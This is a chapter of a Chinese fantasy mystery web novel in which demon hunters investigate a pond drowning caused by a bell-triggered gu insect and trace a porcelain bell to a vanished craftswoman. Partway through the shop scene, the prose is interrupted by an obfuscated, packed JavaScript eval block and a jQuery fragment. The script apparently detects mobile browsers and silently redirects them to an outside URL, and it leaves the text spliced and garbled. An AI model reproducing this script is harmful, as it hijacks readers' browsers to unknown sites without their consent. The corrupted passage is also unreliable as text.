“公子!你们怎么在树上,快些下来吧,爹爹正找你们呢!”不知睡了多久,江余朦胧间,听见树下传来温柔地呼喊声。
江余迷迷糊糊睁开眼,垂眸一瞧,正对上苏晚清略微震惊的双眼。
晨光早已透过叶隙,星星点点洒落下来。江余微微坐起,才发现身上盖着一件水蓝色外袍,那清冽的竹香萦绕在身旁,不用想也知道来自谁。
江余偏头一瞧,池木周正枕着自己的手臂,睡得很沉,墨色的碎发被昨夜的风吹得凌乱。
她伸手推了推他的肩膀,轻声喊着:“醒醒。”
池木周从梦中惊醒,目光扫过树下的苏晚清,一把抓起尚有余温的外袍,翻身跃下,激起几点尘灰。
江余也跟着翻身跃下,带落几片叶子,在空中打着旋儿。
“你的头发……”池木周伸出手指,挑起几缕发丝,带着三分嫌弃,“啧,小姑娘家家的,也不晓得注意注意形象。”
江余偏头一瞧,这才觉青丝垂落大半。她干脆将两根发带一扯,如瀑黑发尽数倾泻下来。
她利落地将头发重新挽成双髻,又将那两根桃红发带绑在两侧,像翩飞的花蝴蝶。
她朝池木周扬起脸,蝴蝶结随之一动:“现在好了吧?”
“嗯。”
晨风悠悠穿过,惹得竹林沙沙作响,微风里还荡漾着淡淡的红茶花香。
苏晚清转身欲引路,腰间悬挂的铃铛随着她的腰身摆动,发出细碎声响。
这铃音绵绵不绝钻入江余耳中,她的心口莫名泛上烦躁,便悄悄放慢脚步,在后面默默调息。
池木周注意到苏晚清腰间的白瓷铃铛,忙追上一步:“苏姑娘,冒昧一问,你这铃铛是从何而来?”
苏晚清闻言停下脚步,低头解下腰间的铃铛,摊在手心。她带着疑惑,微微侧头:“是这个吗?是昨夜那棵老槐树上挂着的,我瞧着别致,便取下了。”
“公子若是喜欢,晚清便赠予你,权当谢礼了。”她将铃铛往前一递,嫣然一笑。
“那便多谢苏姑娘。”池木周见江余似有不适,指尖捏住了铃舌,不让它再发出声响。
沿着蜿蜒的鹅卵石小径拐过几道弯,又走到了昨日那后园。
池塘的垂柳枯枝无力耷拉着,水中仍然漂浮着残荷败叶。似乎,还有点别的什么东西。
苏晚清注意到水中异样,向前几步,裙摆扫过池边的植物。
距离在拉进。
水中东西的轮廓渐渐清晰。
一双死死瞪圆的眼睛,透过晃动的水面,与她对个正着!
“啊——!”苏晚清脸上的血色骤然褪去,猛地捂住自己的嘴,踉跄着扑向池木周,“公……公子……池……池塘……”
池木周早已快步走前,定定地立在塘水边,将水下可怖的景象看了个清清楚楚。
那不是水草,也不是衣物。
是一具肿胀的尸体。
浓重的死亡气息,伴随着池塘腥气,迅速蔓延开来。
萧绫走近,素色衣衫飘荡。池木周把刚刚得来的白瓷铃铛递给她。
萧绫垂眸细看,神色一凝:“白瓷铃铛?”
“果然!又是铃音蛊!”池木周低声道。
尸体已经打捞上岸,江余半蹲下身,指尖凝聚灵力,纤白手指迅疾如电,速点几个穴位。
不过瞬息,一只蛊虫慢慢从耳道中爬出,身上带着粘稠的液体。
池木周伸手如风,二指并拢,正欲去抓,那诡异的小虫却灰飞烟灭。
急促的脚步声逐渐靠近,苏明渊步履匆匆赶来,他的眼神扫过地上的尸体,嘴唇微微颤抖:“这……这是怎么回事!府中竟真出了人命?!莫非当真是上天要惩罚我?!”
“池公子,你们是捉妖师,对不对?!”苏晚清单薄的身体微微发颤,抓住池云安的衣角,泫然欲泣,“求求你们!救救苏府吧!府中一定有妖怪在作乱!”
池云安眉头少见的颦起,用手中折扇隔开她的手,温声安慰道:“苏姑娘,斩妖除魔本就是我们的使命。既是遇上了,断没有袖手旁观的道理。”
“多谢……多谢各位!”苏晚清闻言低眉,纤长的睫毛垂下,掩去眸里神色。
“苏老爷,此人在府中任何职?平日可与人结仇?”池木周转向苏明渊,仔细盘问。
苏明渊脸色苍白,不忍再看那尸体,哑声道:“此人乃我府中乳娘,张氏,性格最是温顺,在我府中已有二十余年。她向来都是矜矜业业的,将我的一双儿女养得极好。”
“苏老爷,我等需仔细查验这具尸体,不知可否行个方便?”池云安上前,拱手一礼。
“几位随意。”苏明渊摆摆手,用宽大的袖子掩住眼睛,似是不忍直视。
几人仔细查验了周边留下的痕迹和尸体的内部,基本可以确定,就是铃音蛊杀人。
“确实是铃音蛊。”萧绫指尖还萦绕着淡淡的灵力,“死者应当是在池边行走时,铃音催动蛊虫发作,猝死后坠入水中。”
“又是铃音蛊,这次的幕后黑手又会是谁?”池木周眉头紧锁。
“话说回来,小鞭炮,这铃音,你听着什么感觉?”池木周拍拍她的肩膀。
“就是有些心悸,不过调息后,能够压制住。”江余揉揉自己的心口,歪头想了想。
“这就怪了,为何铃音只会催动一个人死亡?这铃音,莫非还能认人不成?”池木周指节轻抵下颌,沉吟思索。
“我曾在古籍上看到过,铃音蛊虫可以通过特定的内力功法进行压制。”萧绫抬起眼眸,清越的声音如泉水击石,“岁岁,你可是懂得此类功法吗?
江余在那册古籍上,确实看到过铃音蛊,上面是记载了一些压制之法。
她点点头:“对,之前那黑袍人给我的奇怪古籍上,确有此记载。”
晨风卷着湿气吹过,却吹不散众人心头的重重迷雾。
“现在该查查白瓷铃铛的来历了,铃音蛊确是靠此类铃铛催动。”
“去街上的白瓷铺子看看?指不定他们知道这铃铛是出自谁手。”
素瓷斋。
铺子临街而开,热闹非凡。店内陈设雅致,白瓷制品琳琅满目。
“掌柜的,劳烦掌掌眼,这铃铛的工艺,你可认得出是何人手笔?”池木周径直走向柜台,将银子和铃铛一起置于柜台上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882483|190901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掌柜的是个微胖的中年人,他拿起铃铛,对着光细细打量一番,又用指腹摩挲着铃铛的细小纹路。
“这手艺,出自一位老太,但是她已失踪多年。”掌柜的放下铃铛,眼神里有追忆和困惑,“这铃铛,你们从何而来?”
“失踪?”
“正是。”掌柜的身体前倾,压低声音,“此老太可是我们白瓷镇的传奇人物。她的一双手灵巧非凡,无论是捏面人,亦或是做瓷物,皆是栩栩如生。更玄奇的是,她有一门独步天下的绝技,点瓷唤灵。”
“什么意思?”
“就是说,她可以让瓷人变成活人。”掌柜左看右看,声音更添几分神秘,“那瓷人,除了内里没有常人的血脉,其他的,都与真人几乎无异。能走能跳,能哭能笑。
“如此神奇,这老太莫不是妖?”池木周倚在柜台旁,剑眉颦起。
“非也非也。”掌柜的连连摆手,“传闻她是手持一秘宝,凭那宝物,方能如此神通。”
“这般完美的瓷人,岂不是人人都争相求取,镇子岂不是要大乱?”池木周手指轻叩柜台。
“这瓷人,岂是常人可求?”掌柜摇摇头,“老太做瓷人的条件,她虽从未对外言明,但民间有传闻,条件极为苛刻,代价也极高。”
掌柜的眼中敛去神秘,毫不在意地补充道:“不过这些都是陈年传说,谁又知道,老太是否真有此本事。”
“那她是何时失踪的?”池云安摇着扇子,将话题带回。
“约莫……二十多年前。也不知发生何事,一夜之间,人去楼空,再也无音讯。”掌柜的沉吟片刻,叹了口气。
回至苏府,暮色已漫过亭台楼阁。
绕过九曲回廊,远远便看见池塘边的青石凳上坐了两人,是苏晚影和林砚。
一片朦胧暮色里,苏晚影一袭白衣,执壶斟茶。兴许是他生来便眉目含情,兴许是他举止自带风流,江余总觉得,这位苏家少爷,柔和得过分。甚至于,和苏晚清站在一块,他都要更阴柔上几分。
“苏少爷。”池云安上前拱手一礼。
“是你们,坐吧,不必拘礼。”苏晚影抬手示意,给他们斟上茶水,“白日外出,可有何发现?”
“苏少爷,我们上小镇打探了一番,听闻有一位婆婆,可以点瓷成人,不知苏少爷可曾听过?”池木周端坐着,细品杯中茶水。
“自然听过,这位婆婆二十年前在镇上便是响当当的人物,几乎无人不知。”苏晚影没有惊讶,手指理理袖口。
“是了,听老人们说,在婆婆消失之前,想要向她拜师学艺的人,能从街道这头,排到街道那头。”林砚也点头附和着,“婆婆呢,又是个不拘小节的人,哪怕是半大孩子,她也会耐心指点一番。”
是夜,万籁俱寂,残月悬于檐角,漠然洒下银辉。
江余正在塌上调息,一阵嘻嘻哈哈的女子笑声,从窗前掠过,似远似近,极不真切。
笑声之中,还夹杂着叮叮当当的铃响,江余只觉心口一悸,内息翻涌如潮。她指尖凝起灵力,猛点胸口数个穴位,强行压下翻涌的内息。
她未加思索,赤足点地,身影急掠,义无反顾没入浓夜。